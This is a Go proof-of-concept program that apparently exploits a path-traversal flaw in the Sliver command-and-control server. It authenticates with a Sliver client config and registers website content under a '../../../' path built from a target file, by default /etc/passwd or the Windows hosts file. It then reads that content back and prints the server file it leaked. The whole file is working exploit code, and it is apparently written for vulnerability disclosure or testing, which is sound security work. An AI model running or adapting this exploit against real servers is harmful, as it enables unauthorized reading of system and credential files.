package main

import (
	"context"
	"flag"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"time"

	"github.com/bishopfox/sliver/client/assets"
	"github.com/bishopfox/sliver/client/transport"
	"github.com/bishopfox/sliver/protobuf/clientpb"
)

func main() {
	var (
		configPath  string
		websiteName string
		targetPath  string
		webPath     string
		maxBytes    int
	)
	flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
	flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
	flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
	flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
	flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
	flag.Parse()

	if targetPath == "" {
		if runtime.GOOS == "windows" {
			targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
		} else {
			targetPath = "/etc/passwd"
		}
	}

	if webPath == "" {
		trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
		webPath = "../../../../../../../../" + trimmed
	}

	config, err := loadConfig(configPath)
	if err != nil {
		fatalf("config error: %v", err)
	}

	rpc, conn, err := transport.MTLSConnect(config)
	if err != nil {
		fatalf("connect error: %v", err)
	}
	defer conn.Close()

	ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
	defer cancel()

	_, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
		Name: websiteName,
		Contents: map[string]*clientpb.WebContent{
			webPath: {
				Path:        webPath,
				ContentType: "text/plain",
				Content:     []byte("poc"),
			},
		},
	})
	if err != nil {
		fatalf("WebsiteAddContent failed: %v", err)
	}

	resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
	if err != nil {
		fatalf("Website failed: %v", err)
	}

	var leaked *clientpb.WebContent
	for _, c := range resp.Contents {
		if c.Path == webPath {
			leaked = c
			break
		}
	}
	if leaked == nil {
		fatalf("did not find content for path %q", webPath)
	}

	data := leaked.Content
	if len(data) > maxBytes {
		data = data[:maxBytes]
	}

	fmt.Printf("[+] target: %s\n", targetPath)
	fmt.Printf("[+] web-path: %s\n", webPath)
	fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
	fmt.Printf("[+] preview:\n%s\n", string(data))
}

func loadConfig(path string) (*assets.ClientConfig, error) {
	if path != "" {
		return assets.ReadConfig(path)
	}
	configs := assets.GetConfigs()
	if len(configs) == 0 {
		return nil, fmt.Errorf("no configs found; use -config")
	}
	if len(configs) > 1 {
		return nil, fmt.Errorf("multiple configs found; use -config")
	}
	for _, c := range configs {
		return c, nil
	}
	return nil, fmt.Errorf("unexpected config error")
}

func fatalf(format string, args ...any) {
	fmt.Fprintf(os.Stderr, format+"\n", args...)
	os.Exit(1)
}